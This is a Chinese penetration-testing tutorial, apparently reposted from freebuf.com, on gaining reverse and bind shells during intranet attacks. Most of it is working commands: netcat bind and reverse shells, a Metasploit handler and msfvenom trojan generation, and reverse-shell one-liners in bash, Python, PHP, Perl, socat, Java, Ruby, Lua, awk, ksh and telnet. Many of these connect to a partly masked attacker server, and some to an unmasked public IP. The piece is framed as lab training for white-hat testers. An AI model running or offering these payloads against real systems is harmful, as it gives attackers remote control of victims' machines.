声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可用于
违法犯罪,一经发现直接上报国家安全机关处理。
反弹shell
反弹shell:
在攻击者机器获得受害者机器的命令行。
[toc]
背景:
对内网有更深入的理解,了解内网的组织结构,为了更好的进行内网渗透。
正向反弹shell:
目的:
利用nc正向连接目标服务器的shell,获得目标服务器的控制权限(dmz大型靶场)
前提:
攻击者可以访问(连接)web服务器的目标(开放)端口,web服务器防火墙未拦截攻击者的入站流量。适用于,能够访问到被控机器的开放端口。
实验环境:
物理机(攻击机):
目标服务器(公网windows):***.***.88.201:6666
网络拓扑:
实验步骤:
步骤一:
主动连接被控主机shell
,在被控主机上使用nc
监听6666
端口,成功反弹shell
后就控制目标服务器的cmd.exe
程序(只要连接到目标服务器的6666
端口,就会执行cmd.exe
),结果如下图所示:
命令:
#被控主机为Windows,使用以下命令:
nc.exe -lvp 4444 -e cdm.exe
#被控主机为linux,使用以下命令:
nc -lvp 4444 -e /bin/bash
下图为被控主机:
步骤二:
攻击机连接目标服务器的6666
端口,结果如下图所示:
命令:
#攻击者:
#nc -vv 被控服务器ip 4444
nc -vv ***.***.88.201 6666
下图是攻击者主机:
反向反弹shell:
目的:
利用nc
反向反弹shell
到攻击者本地,获得目标服务器的控制权限(dmz大型靶场
)
前提:
1、防火墙对web服务器(被控主机)出站流量放行。
2、攻击者必须有一个公网ip。
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控机器(公网windows):
网络拓扑:
实验步骤:
步骤一:
攻击者外网vps
监听9999
端口:
攻击者kali(公网ip)
进行监听本地9999
端口,被控主机反弹shell
到kali(公网ip)
的9999
端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999
nc -lvvp 9999
下图为公网kali:
步骤二:
把被控主机的shell
反弹到攻击者kali
的9999
端口,如下图所示:
命令:
#nc -e /bin/bash 攻击者公网ip 9999 (反弹linux shell)
#nc -e cmd.exe 攻击者公网ip 9999(反弹windows shell)
下图为被控主机:
步骤二:
查看kali
,显示成功反弹目标服务器的shell
,如下图所示:
分析:
能够反弹成功,需要攻击者开启
公网kali
的监听端口,并让防火墙对经过9999
端口的流量进行放行;被攻击者需要有攻击者的
公网ip
,并且被攻击者的流量能够出来。
其他方式反弹shell:
msf反弹:
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控主机(虚拟机win8):
实验步骤:
步骤一:
攻击者公网vps
监听9999
端口:
攻击者在公网kali
(公网ip)使用msf的msfconsole
进行监听9999
端口的木马反弹,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ***.***.23.106:9999
set lport 9999
步骤三:
生成一个反弹木马,并将生成的木马上传到被控主机(虚拟机win8)
上,并进行点击运行,使被控主机反弹shell
到kali(公网ip)
的9999
端口,如下图所示:
命令:
#使用msfvenom生成反弹木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe
#这里是使用finalshell远程连接公网kali的,所以使用sz命令下载刚才生成的木马到物理机:
sz test.exe
#下面就是把下载下来的木马文件放到被控主机(虚拟机win8)。
步骤三:
在被控主机(虚拟机win8)
上,点击运行test.exe(这个木马文件)
,并进行查看公网kali
反弹情况,如下图所示:
bash反弹:
实验环境:
攻击机器(公网kali):..23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口
发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1
发送端(被控主机):0<&31-;exec 31<>/dev/tcp/攻击者ip(公网)/攻击者端口; sh <&31 >&31 2>&31
步骤一:
为了保证环境的贴近实战,保持防火墙开启状态。(反弹shell有正向和反向的,我们90%都是反向反弹的shell。
正常情况下,攻击者是无法正向连接目标服务器的;除了开启22端口,通过ssh可以连接进来的,但是ssh我们不知道帐号密码;我们最主要的目的是获取目标主机的反向shell,所以防火墙可以不用关闭)。只关闭setenforce(setlinux)
,并查看防火墙状态,如下图所示:
命令:
#关闭setlinux
setenforce 0
#查看防火墙状态:
service iptables status
步骤二:
攻击者外网vps
监听9999
端口:
攻击者kali(公网ip)
进行监听本地9999
端口,被控主机反弹shell
到kali(公网ip)
的9999
端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999
nc -lvvp 9999
命令:
bash -i >& /dev/tcp/***.***.23.106/9999 0>&1
步骤三:
在被控机器(虚拟机centos6.5)
上,使用bash
把shell
反弹到攻击者公网kali
上,并进行查看公网kali
反弹情况,如下图所示:
python反弹:
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口
发送端(被控主机):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者公网ip",攻击者公网监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
步骤一:
攻击者公网vps
监听9999
端口:
攻击者kali(公网ip)
进行监听本地9999
端口,被控主机反弹shell
到kali(公网ip)
的9999
端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999
nc -lvvp 9999
步骤二:
在被控机器(虚拟机centos6.5)
上,使用python
把shell
反弹到攻击者公网kali
上,并进行查看公网kali
反弹情况,如下图所示:
命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("***.***.23.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
php反弹:
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口
发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1
发送端(被控主机):php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
步骤一:
攻击者公网vps
监听9999
端口:
攻击者kali(公网ip)
进行监听本地9999
端口,被控主机反弹shell
到kali(公网ip
)的9999
端口:
命令:
#攻击机器(公网kali):***.***.23.106:9999
nc -lvvp 9999
步骤二:
在被控机器(虚拟机centos6.5)
上,使用php
把shell
反弹到攻击者公网kali
上,并进行查看公网kali
反弹情况:
命令:
php -r '$sock=fsockopen("***.***.23.106",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
perl反弹:
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口
发送端:perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
步骤一:
攻击者公网vps
监听9999
端口:
攻击者kali(公网ip)
进行监听本地9999
端口,被控主机反弹shell
到kali(公网ip)
的9999
端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999
nc -lvvp 9999
步骤三:
在被控机器(虚拟机centos6.5)
上,使用bash
把shell
反弹到攻击者公网kali
上,并进行查看公网kali
反弹情况,如下图所示:
命令:
perl -e 'use Socket;$i="***.***.23.106";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
linux反弹shell姿势合集:
在目标服务器(linux)上面进行反弹shell时,可以通过以下命令,查看目标服务器上面有没有安装对应的程序:
命令:
#比如查看目标服务器上面有没有安装php服务:
rpm -q php
linux反弹shell总结
1\.1发送文件\(公网发内网\)
文件发送端:nc \-lp 6666 < 文件
文件接收端:nc 发送端ip 发送端端口 \> 新文件
1\.2发送文件\(内网发公网\)
文件发送端:nc \-lp 6666 \> 文件
文件接收端:nc 发送端ip 发送端端口 < 新文件
2\.聊天
发送端:nc \-lp 6666
接收端:nc 发送端ip 发送端端口
3\.1发送shell
发送端\(公网服务器\):nc \-lvvp 6666 \-e /bin/bash
接收端:nc 发送端ip 发送端攻击者ip
3\.2反弹shell
接收端:nc \-lvvp 6666
发送端\(内网网服务器\):nc 接收端ip 接收端端口 \-e /bin/bash
4\.bash反弹
接收端\(hackip\,公网\):nc \-lvvp 端口
发送端\(受害者\):bash \-i \>& /dev/tcp/111\.230\.170\.95/9985 0\>&1
发送端\(受害者\):0<&31\-;exec 31<\>/dev/tcp/111\.230\.170\.95/9985;sh <&31 \>&31 2\>&31
5\.1socat反弹\(tcp\)
接收端\(攻击机\):\./socat TCP\-LISTEN:端口 \-
发送端\(靶机\):\./socat exec:'bash \-li'\,pty\,stderr\,setsid\,sigint\,sane tcp:攻击机ip:攻击机端口
5\.2socat反弹\(udp\)
接收端:nc \-lvvp 8080
发送端:socat udp\-connect:攻击者ip:端口 exec:'bash \-li'\,pty\,stderr\,sane 2\>&1\>/dev/null &
6\.python反弹
接收端\(攻击机\,外网\):nc \-lvvp 端口
发送端\(靶机\):python \-c 'import socket\,subprocess\,os;s=socket\.socket\(socket\.AF\_INET\,socket\.SOCK\_STREAM\);s\.connect\(\("接收端ip"\,接收端端口\)\);os\.dup2\(s\.fileno\(\)\,0\); os\.dup2\(s\.fileno\(\)\,1\); os\.dup2\(s\.fileno\(\)\,2\);p=subprocess\.call\(\["/bin/sh"\,"\-i"\]\);'
7\.PHP反弹
接收端:nc \-lvvp 端口
发送端:php \-r '$sock=fsockopen\("攻击者ip"\,端口\);exec\("/bin/sh \-i <&3 \>&3 2\>&3"\);'
8\.JAVA反弹
接收端:nc \-lvvp 端口
发送端:
r = Runtime\.getRuntime\(\)
p = r\.exec\(\["/bin/bash"\,"\-c"\,"exec 5<\>/dev/tcp/攻击者ip/端口;cat <&5 \| while read line; do $line 2\>&5 \>&5; done"\] as String\[\]\)
p\.waitFor\(\)
9\.perl反弹
接收端:nc \-lvvp 端口
发送端:
perl \-e 'use Socket;$i="攻击者ip";$p=8080;socket\(S\,PF\_INET\,SOCK\_STREAM\,getprotobyname\("tcp"\)\);if\(connect\(S\,sockaddr\_in\($p\,inet\_aton\($i\)\)\)\)\{open\(STDIN\,"\>&S"\);open\(STDOUT\,"\>&S"\);open\(STDERR\,"\>&S"\);exec\("/bin/sh \-i"\);\};'
10\.ruby反弹
接收端:nc \-lvvp 端口
发送端:
ruby \-rsocket \-e 'exit if fork;c=TCPSocket\.new\("攻击者ip"\,"端口"\);while\(cmd=c\.gets\);IO\.popen\(cmd\,"r"\)\{\|io\|c\.print io\.read\}end'
11\.telnet反弹
接收端:nc \-lvvp 端口
发送端:
mknod backpipe p && telnet 攻击者ip 端口 0<backpipe \| /bin/bash 1\>backpipe
12\.lua反弹\(安装lua环境:apt\-get install lua\*\)
接收端:nc \-lvvp 端口
发送端:lua \-e "local s=require\('socket'\);local t=assert\(s\.tcp\(\)\);t:connect\('攻击者ip'\,端口\);while true do local r\,x=t:receive\(\);local f=assert\(io\.popen\(r\,'r'\)\);local b=assert\(f:read\('\*a'\)\);t:send\(b\);end;f:close\(\);t:close\(\);"
13\.awk反弹
接收端:nc \-lvvp 端口
发送端:awk 'BEGIN\{s="/inet/tcp/0/攻击者ip/端口";while\(1\)\{do\{s\|&getline c;if\(c\)\{while\(\(c\|&getline\)\>0\)print $0\|&s;close\(c\)\}\}while\(c\!="exit"\);close\(s\)\}\}'
14\.ksh反弹
接收端:nc \-lvvp 端口
发送端:ksh \-c 'ksh \>/dev/tcp/攻击者ip/端口 2\>&1 <&1'
15\.msfvenom生成各种payload
接收端:nc \-lvvp 端口
查找payload:msfvenom \-l payload \|grep 'cmd/unix/reverse'
生成payload:msfvenom \-p cmd/unix/reverse\_模块 lhost=接收端ip lport=接收端端口 R
原创不易,转载请注明来源
来源:freebuf.com 2021-04-06 17:04:43 by: libinbin1994
请登录后发表评论
注册